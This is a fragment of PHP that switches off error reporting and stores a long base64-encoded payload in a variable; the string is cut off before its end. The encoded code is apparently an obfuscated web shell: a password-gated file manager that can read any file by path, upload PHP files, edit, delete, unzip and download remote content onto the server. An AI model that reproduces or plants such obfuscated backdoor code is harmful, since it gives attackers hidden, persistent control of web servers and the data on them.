error_reporting(0); $d = "WyI8P3BocFxyXG5cL1wvIEVuYWJsZSBlcnJvciByZXBvcnRpbmcgZm9yIGRlYnVnZ2luZyAoZGlzYWJsZSBpbiBwcm9kdWN0aW9uKVxyXG5cclxuc2Vzc2lvbl9zdGFydCgpO1xyXG5cclxuXC9cLyBDb25maWd1cmF0aW9uXHJcbiRzZWN1cmVBY2Nlc3MgPSB0cnVlO1xyXG4kYXV0aFBhc3NIYXNoID0gJyQyYSQxMiRubGNLb2doVFJ4aHBkcXVnaUgzcW51QUZhZGpBa2wzdXYxM2J4TjBaUGZ2aDNFdDR3MkZ3Nic7IFwvXC8gUmVwbGFjZSB3aXRoIHlvdXIgYmNyeXB0IGhhc2hcclxuJGVuYWJsZVJlbW90ZUZldGNoID0gdHJ1ZTtcclxuJG1heFVwbG9hZFNpemUgPSAxMCAqIDEwMjQgKiAxMDI0OyBcL1wvIDEwTUJcclxuJGFsbG93ZWRGaWxlVHlwZXMgPSBbJ3BocCcsICdqcGcnLCAncG5nJywgJ3ppcCcsICdwZGYnLCAnZG9jJywgJ2RvY3gnXTtcclxuXHJcblwvXC8gQ1NSRiBUb2tlbiBHZW5lcmF0aW9uXHJcbmlmICghaXNzZXQoJF9TRVNTSU9OWydjc3JmX3Rva2VuJ10pKSB7XHJcbiAgICAkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXSA9IGJpbjJoZXgocmFuZG9tX2J5dGVzKDMyKSk7XHJcbn1cclxuXHJcblwvXC8gU2VjdXJpdHkgY2hlY2sgZm9yIHBhc3N3b3JkIHByb3RlY3Rpb25cclxuaWYgKCRzZWN1cmVBY2Nlc3MpIHtcclxuICAgIGlmICghaXNzZXQoJF9TRVNTSU9OWydzZWN1cmVfc2Vzc2lvbiddKSB8fCAkX1NFU1NJT05bJ3NlY3VyZV9zZXNzaW9uJ10gIT09IHRydWUpIHtcclxuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydzZWN1cmVfa2V5J10pICYmIGlzc2V0KCRfUE9TVFsnY3NyZl90b2tlbiddKSAmJiAkX1BPU1RbJ2NzcmZfdG9rZW4nXSA9PT0gJF9TRVNTSU9OWydjc3JmX3Rva2VuJ10pIHtcclxuICAgICAgICAgICAgaWYgKHBhc3N3b3JkX3ZlcmlmeSgkX1BPU1RbJ3NlY3VyZV9rZXknXSwgJGF1dGhQYXNzSGFzaCkpIHtcclxuICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnc2VjdXJlX3Nlc3Npb24nXSA9IHRydWU7XHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICBkaWUoJ1xyXG4gICAgICAgICAgICAgICAgPCFET0NUWVBFIGh0bWw+XHJcbiAgICAgICAgICAgICAgICA8aHRtbCBsYW5nPVwiZW5cIj5cclxuICAgICAgICAgICAgICAgIDxoZWFkPlxyXG4gICAgICAgICAgICAgICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJVVEYtOFwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxtZXRhIG5hbWU9XCJ2aWV3cG9ydFwiIGNvbnRlbnQ9XCJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPHRpdGxlPkFjY2VzcyBEZW5pZWQ8XC90aXRsZT5cclxuICAgICAgICAgICAgICAgICAgICA8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG4udGFpbHdpbmRjc3MuY29tXCI+PFwvc2NyaXB0PlxyXG4gICAgICAgICAgICAgICAgPFwvaGVhZD5cclxuICAgICAgICAgICAgICAgIDxib2R5IGNsYXNzPVwiYmctdml2aWQtc2xhdGUgbWluLWgtc2NyZWVuIGZsZXggaXRlbXMtY2VudGVyIGp1c3RpZnktY2VudGVyXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJnLXdoaXRlIHAtOCByb3VuZGVkLXhsIHNoYWRvdy14bCB3LWZ1bGwgbWF4LXctbWRcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGgyIGNsYXNzPVwidGV4dC0yeGwgZm9udC1ib2xkIG1iLTYgdGV4dC1jZW50ZXIgdGV4dC12aXZpZC1jaGFyY29hbFwiPlNlY3VyZSBBY2Nlc3MgUmVxdWlyZWQ8XC9oMj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY3NyZl90b2tlblwiIHZhbHVlPVwiJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9TRVNTSU9OWydjc3JmX3Rva2VuJ10pIC4gJ1wiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJwYXNzd29yZFwiIG5hbWU9XCJzZWN1cmVfa2V5XCIgY2xhc3M9XCJ3LWZ1bGwgcC0zIGJvcmRlciByb3VuZGVkLWxnIG1iLTQgZm9jdXM6b3V0bGluZS1ub25lIGZvY3VzOnJpbmctMiBmb2N1czpyaW5nLXZpdmlkLXRlYWxcIiBwbGFjZWhvbGRlcj1cIkVudGVyIHNlY3VyZSBrZXlcIiByZXF1aXJlZCBhdXRvZm9jdXM+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cInctZnVsbCBiZy12aXZpZC10ZWFsIHRleHQtd2hpdGUgcC0zIHJvdW5kZWQtbGcgaG92ZXI6Ymctdml2aWQtdGVhbC1kYXJrIHRyYW5zaXRpb25cIj5VbmxvY2s8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XHJcbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgICAgICAgICAgPFwvYm9keT5cclxuICAgICAgICAgICAgICAgIDxcL2h0bWw+XHJcbiAgICAgICAgICAgICAgICAnKTtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgIGVjaG8gJ1xyXG4gICAgICAgICAgICA8IURPQ1RZUEUgaHRtbD5cclxuICAgICAgICAgICAgPGh0bWwgbGFuZz1cImVuXCI+XHJcbiAgICAgICAgICAgIDxoZWFkPlxyXG4gICAgICAgICAgICAgICAgPG1ldGEgY2hhcnNldD1cIlVURi04XCI+XHJcbiAgICAgICAgICAgICAgICA8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMFwiPlxyXG4gICAgICAgICAgICAgICAgPHRpdGxlPkFjY2VzcyBEZW5pZWQ8XC90aXRsZT5cclxuICAgICAgICAgICAgICAgIDxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2Nkbi50YWlsd2luZGNzcy5jb21cIj48XC9zY3JpcHQ+XHJcbiAgICAgICAgICAgIDxcL2hlYWQ+XHJcbiAgICAgICAgICAgIDxib2R5IGNsYXNzPVwiYmctdml2aWQtc2xhdGUgbWluLWgtc2NyZWVuIGZsZXggaXRlbXMtY2VudGVyIGp1c3RpZnktY2VudGVyXCI+XHJcbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYmctd2hpdGUgcC04IHJvdW5kZWQteGwgc2hhZG93LXhsIHctZnVsbCBtYXgtdy1tZFwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxoMiBjbGFzcz1cInRleHQtMnhsIGZvbnQtYm9sZCBtYi02IHRleHQtY2VudGVyIHRleHQtdml2aWQtY2hhcmNvYWxcIj5TZWN1cmUgQWNjZXNzIFJlcXVpcmVkPFwvaDI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJjc3JmX3Rva2VuXCIgdmFsdWU9XCInIC4gaHRtbHNwZWNpYWxjaGFycygkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXSkgLiAnXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBuYW1lPVwic2VjdXJlX2tleVwiIGNsYXNzPVwidy1mdWxsIHAtMyBib3JkZXIgcm91bmRlZC1sZyBtYi00IGZvY3VzOm91dGxpbmUtbm9uZSBmb2N1czpyaW5nLTIgZm9jdXM6cmluZy12aXZpZC10ZWFsXCIgcGxhY2Vob2xkZXI9XCJFbnRlciBzZWN1cmUga2V5XCIgcmVxdWlyZWQgYXV0b2ZvY3VzPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cInctZnVsbCBiZy12aXZpZC10ZWFsIHRleHQtd2hpdGUgcC0zIHJvdW5kZWQtbGcgaG92ZXI6Ymctdml2aWQtdGVhbC1kYXJrIHRyYW5zaXRpb25cIj5VbmxvY2s8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgPFwvYm9keT5cclxuICAgICAgICAgICAgPFwvaHRtbD5cclxuICAgICAgICAgICAgJztcclxuICAgICAgICAgICAgZXhpdDtcclxuICAgICAgICB9XHJcbiAgICB9XHJcbn1cclxuXHJcblwvXC8gSGFuZGxlIGZpbGUgY29udGVudCByZXRyaWV2YWwgZm9yIGVkaXRpbmdcclxuaWYgKGlzc2V0KCRfR0VUWydvcGVyYXRpb24nXSkgJiYgJF9HRVRbJ29wZXJhdGlvbiddID09PSAncmV0cmlldmVfZmlsZV9jb250ZW50JyAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkge1xyXG4gICAgJHZhbGlkYXRlZFBhdGggPSByZWFscGF0aCgkX0dFVFsnd29ya3NwYWNlJ10gLiAnXC8nIC4gJF9HRVRbJ2l0ZW0nXSk7XHJcbiAgICBpZiAoJHZhbGlkYXRlZFBhdGggJiYgaXNfZmlsZSgkdmFsaWRhdGVkUGF0aCkgJiYgaXNfcmVhZGFibGUoJHZhbGlkYXRlZFBhdGgpKSB7XHJcbiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHRcL3BsYWluJyk7XHJcbiAgICAgICAgZWNobyBmaWxlX2dldF9jb250ZW50cygkdmFsaWRhdGVkUGF0aCk7XHJcbiAgICAgICAgZXhpdDtcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7XHJcbiAgICAgICAgZWNobyBcIkl0ZW0gbm90IGZvdW5kIG9yIG5vdCByZWFkYWJsZS5cIjtcclxuICAgICAgICBleGl0O1xyXG4gICAgfVxyXG59XHJcblxyXG5cL1wvIEhhbmRsZSBjdXJyZW50IHdvcmtzcGFjZSAoZGlyZWN0b3J5KVxyXG4kYmFzZURpciA9IHJlYWxwYXRoKF9fRElSX18pOyBcL1wvIFJlc3RyaWN0IHRvIHNjcmlwdCdzIGRpcmVjdG9yeVxyXG4kY3VycmVudFdvcmtzcGFjZSA9IGlzc2V0KCRfR0VUWyd3b3Jrc3BhY2UnXSkgPyByZWFscGF0aCgkX0dFVFsnd29ya3NwYWNlJ10pIDogJGJhc2VEaXI7XHJcbmlmICghJGN1cnJlbnRXb3Jrc3BhY2UgfHwgIWlzX2RpcigkY3VycmVudFdvcmtzcGFjZSkgfHwgIWlzX3JlYWRhYmxlKCRjdXJyZW50V29ya3NwYWNlKSB8fCBzdHJwb3MoJGN1cnJlbnRXb3Jrc3BhY2UsICRiYXNlRGlyKSAhPT0gMCkge1xyXG4gICAgJGN1cnJlbnRXb3Jrc3BhY2UgPSAkYmFzZURpcjtcclxuICAgICRhbGVydE1lc3NhZ2UgPSBcIkludmFsaWQgb3IgaW5hY2Nlc3NpYmxlIHdvcmtzcGFjZS4gUmV2ZXJ0ZWQgdG8gZGVmYXVsdCB3b3Jrc3BhY2UuXCI7XHJcbn1cclxuXHJcblwvXC8gRmlsZSBvcGVyYXRpb25zXHJcbmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsnY3NyZl90b2tlbiddKSAmJiAkX1BPU1RbJ2NzcmZfdG9rZW4nXSA9PT0gJF9TRVNTSU9OWydjc3JmX3Rva2VuJ10pIHtcclxuICAgIFwvXC8gQ3JlYXRlIGRpcmVjdG9yeVxyXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsnYWRkX2RpcmVjdG9yeSddKSAmJiAhZW1wdHkoJF9QT1NUWydmb2xkZXJfbmFtZSddKSkge1xyXG4gICAgICAgICRmb2xkZXJOYW1lID0gcHVyaWZ5RmlsZU5hbWUoJF9QT1NUWydmb2xkZXJfbmFtZSddKTtcclxuICAgICAgICAkbmV3Rm9sZGVyUGF0aCA9ICRjdXJyZW50V29ya3NwYWNlIC4gJ1wvJyAuICRmb2xkZXJOYW1lO1xyXG4gICAgICAgIGlmICghaXNfZGlyKCRuZXdGb2xkZXJQYXRoKSkge1xyXG4gICAgICAgICAgICBpZiAobWtkaXIoJG5ld0ZvbGRlclBhdGgsIDA3NTUpKSB7XHJcbiAgICAgICAgICAgICAgICAkYWxlcnRNZXNzYWdlID0gXCJGb2xkZXIgY3JlYXRlZCBzdWNjZXNzZnVsbHkuXCI7XHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICAkYWxlcnRNZXNzYWdlID0gXCJGYWlsZWQgdG8gY3JlYXRlIGZvbGRlci5cIjtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICRhbGVydE1lc3NhZ2UgPSBcIkZvbGRlciBhbHJlYWR5IGV4aXN0cy5cIjtcclxuICAgICAgICB9XHJcbiAgICB9XHJcblxyXG4gICAgXC9cLyBDcmVhdGUgZmlsZVxyXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsnYWRkX2ZpbGUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnaXRlbV9uYW1lJ10pKSB7XHJcbiAgICAgICAgJGl0ZW1OYW1lID0gcHVyaWZ5RmlsZU5hbWUoJF9QT1NUWydpdGVtX25hbWUnXSk7XHJcbiAgICAgICAgJGl0ZW1Db250ZW50ID0gJF9QT1NUWydpdGVtX2NvbnRlbnQnXSA/PyAnJztcclxuICAgICAgICAkbmV3SXRlbVBhdGggPSAkY3VycmVudFdvcmtzcGFjZSAuICdcLycgLiAkaXRlbU5hbWU7XHJcbiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkbmV3SXRlbVBhdGgpKSB7XHJcbiAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkbmV3SXRlbVBhdGgsICRpdGVtQ29udGVudCkgIT09IGZhbHNlKSB7XHJcbiAgICAgICAgICAgICAgICAkYWxlcnRNZXNzYWdlID0gXCJGaWxlIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5LlwiO1xyXG4gICAgICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAgICAgJGFsZXJ0TWVzc2FnZSA9IFwiRmFpbGVkIHRvIGNyZWF0ZSBmaWxlLlwiO1xyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgJGFsZXJ0TWVzc2FnZSA9IFwiRmlsZSBhbHJlYWR5IGV4aXN0cy5cIjtcclxuICAgICAgICB9XHJcbiAgICB9XHJcblxyXG4gICAgXC9cLyBVcGxvYWQgZmlsZVxyXG4gICAgaWYgKGlzc2V0KCRfRklMRVNbJ3VwbG9hZGVkX2l0ZW0nXSkgJiYgJF9GSUxFU1sndXBsb2FkZWRfaXRlbSddWydlcnJvciddID09PSBVUExPQURfRVJSX09LKSB7XHJcbiAgICAgICAgJHVwbG9hZGVkSXRlbSA9ICRfRklMRVNbJ3VwbG9hZGVkX2l0ZW0nXTtcclxuICAgICAgICAkZmlsZUV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHVwbG9hZGVkSXRlbVsnbmFtZSddLCBQQVRISU5GT19FWFRFTlNJT04pKTtcclxuICAgICAgICBpZiAoaW5fYXJyYXkoJGZpbGVFeHQsICRhbGxvd2VkRmlsZVR5cGVzKSAmJiAkdXBsb2FkZWRJdGVtWydzaXplJ10gPD0gJG1heFVwbG9hZFNpemUpIHtcclxuICAgICAgICAgICAgJGRlc3RpbmF0aW9uUGF0aCA9ICRjdXJyZW50V29ya3NwYWNlIC4gJ1wvJyAuIHB1cmlmeUZpbGVOYW1lKCR1cGxvYWRlZEl0ZW1bJ25hbWUnXSk7XHJcbiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGRlc3RpbmF0aW9uUGF0aCkpIHtcclxuICAgICAgICAgICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHVwbG9hZGVkSXRlbVsndG1wX25hbWUnXSwgJGRlc3RpbmF0aW9uUGF0aCkpIHtcclxuICAgICAgICAgICAgICAgICAgICAkYWxlcnRNZXNzYWdlID0gXCJJdGVtIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseS5cIjtcclxuICAgICAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICAgICAgJGFsZXJ0TWVzc2FnZSA9IFwiRXJyb3IgdXBsb2FkaW5nIGl0ZW0uXCI7XHJcbiAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICAkYWxlcnRNZXNzYWdlID0gXCJGaWxlIGFscmVhZHkgZXhpc3RzLlwiO1xyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgJGFsZXJ0TWVzc2FnZSA9IFwiSW52YWxpZCBmaWxlIHR5cGUgb3Igc2l6ZSBleGNlZWRzIGxpbWl0LlwiO1xyXG4gICAgICAgIH1cclxuICAgIH1cclxuXHJcbiAgICBcL1wvIFJlbmFtZSBpdGVtXHJcbiAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfaXRlbSddKSAmJiAhZW1wdHkoJF9QT1NUWydvcmlnaW5hbF9uYW1lJ10pICYmICFlbXB0eSgkX1BPU1RbJ25ld19uYW1lJ10pKSB7XHJcbiAgICAgICAgJG9yaWdpbmFsTmFtZSA9IHB1cmlmeUZpbGVOYW1lKCRfUE9TVFsnb3JpZ2luYWxfbmFtZSddKTtcclxuICAgICAgICAkbmV3TmFtZSA9IHB1cmlmeUZpbGVOYW1lKCRfUE9TVFsnbmV3X25hbWUnXSk7XHJcbiAgICAgICAgJG9yaWdpbmFsUGF0aCA9ICRjdXJyZW50V29ya3NwYWNlIC4gJ1wvJyAuICRvcmlnaW5hbE5hbWU7XHJcbiAgICAgICAgJG5ld1BhdGggPSAkY3VycmVudFdvcmtzcGFjZSAuICdcLycgLiAkbmV3TmFtZTtcclxuICAgICAgICBpZiAoZmlsZV9leGlzdHMoJG9yaWdpbmFsUGF0aCkgJiYgIWZpbGVfZXhpc3RzKCRuZXdQYXRoKSkge1xyXG4gICAgICAgICAgICBpZiAocmVuYW1lKCRvcmlnaW5hbFBhdGgsICRuZXdQYXRoKSkge1xyXG4gICAgICAgICAgICAgICAgJGFsZXJ0TWVzc2FnZSA9IFwiSXRlbSByZW5hbWVkIHN1Y2Nlc3NmdWxseS5cIjtcclxuICAgICAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgICAgICRhbGVydE1lc3NhZ2UgPSBcIkVycm9yIHJlbmFtaW5nIGl0ZW0uXCI7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAkYWxlcnRNZXNzYWdlID0gXCJJbnZhbGlkIHNvdXJjZSBvciBkZXN0aW5hdGlvbiBuYW1lLlwiO1xyXG4gICAgICAgIH1cclxuICAgIH1cclxuXHJcbiAgICBcL1wvIERlbGV0ZSBpdGVtXHJcbiAgICBpZiAoaXNzZXQoJF9QT1NUWydkZWxldGVfaXRlbSddKSAmJiAhZW1wdHkoJF9QT1NUWydpdGVtX25hbWUnXSkpIHtcclxuICAgICAgICAkaXRlbU5hbWUgPSBwdXJpZnlGaWxlTmFtZSgkX1BPU1RbJ2l0ZW1fbmFtZSddKTtcclxuICAgICAgICAkaXRlbVBhdGggPSAkY3VycmVudFdvcmtzcGFjZSAuICdcLycgLiAkaXRlbU5hbWU7XHJcbiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRpdGVtUGF0aCkpIHtcclxuICAgICAgICAgICAgaWYgKGlzX2RpcigkaXRlbVBhdGgpKSB7XHJcbiAgICAgICAgICAgICAgICAkZGVsZXRlU3VjY2VzcyA9IGRlbGV0ZURpcmVjdG9yeSgkaXRlbVBhdGgpO1xyXG4gICAgICAgICAgICAgICAgJGFsZXJ0TWVzc2FnZSA9ICRkZWxldGVTdWNjZXNzID8gXCJGb2xkZXIgZGVsZXRlZCBzdWNjZXNzZnVsbHkuXCIgOiBcIkVycm9yIGRlbGV0aW5nIGZvbGRlci5cIjtcclxuICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJGl0ZW1QYXRoKSkge1xyXG4gICAgICAgICAgICAgICAgaWYgKHVubGluaygkaXRlbVBhdGgpKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgJGFsZXJ0TWVzc2FnZSA9IFwiRmlsZSBkZWxldGVkIHN1Y2Nlc3NmdWxseS5cIjtcclxuICAgICAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICAgICAgJGFsZXJ0TWVzc2FnZSA9IFwiRXJyb3IgZGVsZXRpbmcgZmlsZS5cIjtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICRhbGVydE1lc3NhZ2UgPSBcIkl0ZW0gbm90IGZvdW5kLlwiO1xyXG4gICAgICAgIH1cclxuICAgIH1cclxuXHJcbiAgICBcL1wvIFVuemlwIGFyY2hpdmVcclxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3VuemlwX2FyY2hpdmUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnYXJjaGl2ZV9uYW1lJ10pKSB7XHJcbiAgICAgICAgJGFyY2hpdmVOYW1lID0gcHVyaWZ5RmlsZU5hbWUoJF9QT1NUWydhcmNoaXZlX25hbWUnXSk7XHJcbiAgICAgICAgJGFyY2hpdmVQYXRoID0gJGN1cnJlbnRXb3Jrc3BhY2UgLiAnXC8nIC4gJGFyY2hpdmVOYW1lO1xyXG4gICAgICAgIGlmIChmaWxlX2V4aXN0cygkYXJjaGl2ZVBhdGgpICYmIGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7XHJcbiAgICAgICAgICAgICRhcmNoaXZlID0gbmV3IFppcEFyY2hpdmU7XHJcbiAgICAgICAgICAgIGlmICgkYXJjaGl2ZS0+b3BlbigkYXJjaGl2ZVBhdGgpID09PSBUUlVFKSB7XHJcbiAgICAgICAgICAgICAgICBpZiAoJGFyY2hpdmUtPmV4dHJhY3RUbygkY3VycmVudFdvcmtzcGFjZSkpIHtcclxuICAgICAgICAgICAgICAgICAgICAkYXJjaGl2ZS0+Y2xvc2UoKTtcclxuICAgICAgICAgICAgICAgICAgICAkYWxlcnRNZXNzYWdlID0gXCJBcmNoaXZlIGV4dHJhY3RlZCBzdWNjZXNzZnVsbHkuXCI7XHJcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAgICAgICAgICRhcmNoaXZlLT5jbG9zZSgpO1xyXG4gICAgICAgICAgICAgICAgICAgICRhbGVydE1lc3NhZ2UgPSBcIkVycm9yIGV4dHJhY3RpbmcgYXJjaGl2ZS5cIjtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgICAgICRhbGVydE1lc3NhZ2UgPSBcIkZhaWxlZCB0byBvcGVuIGFyY2hpdmUuXCI7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAkYWxlcnRNZXNzYWdlID0gXCJBcmNoaXZlIG5vdCBmb3VuZCBvciBaaXBBcmNoaXZlIG5vdCBhdmFpbGFibGUuXCI7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIFwvXC8gRmV0Y2ggcmVtb3RlIGl0ZW1cclxuICAgIGlmICgkZW5hYmxlUmVtb3RlRmV0Y2ggJiYgaXNzZXQoJF9QT1NUWydmZXRjaF9yZW1vdGUnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX3VybCddKSkge1xyXG4gICAgICAgICRyZW1vdGVVcmwgPSBmaWx0ZXJfdmFyKCRfUE9TVFsncmVtb3RlX3VybCddLCBGSUxURVJfVkFMSURBVEVfVVJMKTtcclxuICAgICAgICBpZiAoJHJlbW90ZVVybCkge1xyXG4gICAgICAgICAgICAkaXRlbU5hbWUgPSBwdXJpZnlGaWxlTmFtZShiYXNlbmFtZSgkcmVtb3RlVXJsKSk7XHJcbiAgICAgICAgICAgICRsb2NhbEl0ZW1QYXRoID0gJGN1cnJlbnRXb3Jrc3BhY2UgLiAnXC8nIC4gJGl0ZW1OYW1lO1xyXG4gICAgICAgICAgICAkZmlsZUV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGl0ZW1OYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTtcclxuICAgICAgICAgICAgaWYgKGluX2FycmF5KCRmaWxlRXh0LCAkYWxsb3dlZEZpbGVUeXBlcykgJiYgIWZpbGVfZXhpc3RzKCRsb2NhbEl0ZW1QYXRoKSkge1xyXG4gICAgICAgICAgICAgICAgJHJlbW90ZUNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHJlbW90ZVVybCk7XHJcbiAgICAgICAgICAgICAgICBpZiAoJHJlbW90ZUNvbnRlbnQgIT09IGZhbHNlICYmIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2NhbEl0ZW1QYXRoLCAkcmVtb3RlQ29udGVudCkgIT09IGZhbHNlKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgJGFsZXJ0TWVzc2FnZSA9IFwiSXRlbSBkb3dubG9hZGVkIHN1Y2Nlc3NmdWxseS5cIjtcclxuICAgICAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICAgICAgJGFsZXJ0TWVzc2FnZSA9IFwiRXJyb3IgZG93bmxvYWRpbmcgaXRlbS5cIjtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgICAgICRhbGVydE1lc3NhZ2UgPSBcIkludmFsaWQgZmlsZSB0eXBlIG9yIGZpbGUgYWxyZWFkeSBleGlzdHMuXCI7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAkYWxlcnRNZXNzYWdlID0gXCJJbnZhbGlkIHJlbW90ZSBVUkwuXCI7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIFwvXC8gRWRpdCBmaWxlXHJcbiAgICBpZiAoaXNzZXQoJF9QT1NUWydtb2RpZnlfZmlsZSddKSAmJiAhZW1wdHkoJF9QT1NUWydpdGVtX25hbWUnXSkpIHtcclxuICAgICAgICAkaXRlbU5hbWUgPSBwdXJpZnlGaWxlTmFtZSgkX1BPU1RbJ2l0ZW1fbmFtZSddKTtcclxuICAgICAgICAkaXRlbUNvbnRlbnQgPSAkX1BPU1RbJ2l0ZW1fY29udGVudCddID8/ICcnO1xyXG4gICAgICAgICRpdGVtUGF0aCA9ICRjdXJyZW50V29ya3NwYWNlIC4gJ1wvJyAuICRpdGVtTmFtZTtcclxuICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGl0ZW1QYXRoKSAmJiBpc193cml0YWJsZSgkaXRlbVBhdGgpKSB7XHJcbiAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkaXRlbVBhdGgsICRpdGVtQ29udGVudCkgIT09IGZhbHNlKSB7XHJcbiAgICAgICAgICAgICAgICAkYWxlcnRNZXNzYWdlID0gXCJGaWxlIHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LlwiO1xyXG4gICAgICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAgICAgJGFsZXJ0TWVzc2FnZSA9IFwiRXJyb3IgdXBkYXRpbmcgZmlsZS5cIjtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICRhbGVydE1lc3NhZ2UgPSBcIkZpbGUgbm90IGZvdW5kIG9yIG5vdCB3cml0YWJsZS5cIjtcclxuICAgICAgICB9XHJcbiAgICB9XHJcbn1cclxuXHJcblwvXC8gTGlzdCB3b3Jrc3BhY2UgY29udGVudHNcclxuJGl0ZW1zID0gc2NhbmRpcigkY3VycmVudFdvcmtzcGFjZSk7XHJcbiRmb2xkZXJzID0gW107XHJcbiRmaWxlcyA9IFtdO1xyXG5cclxuZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7XH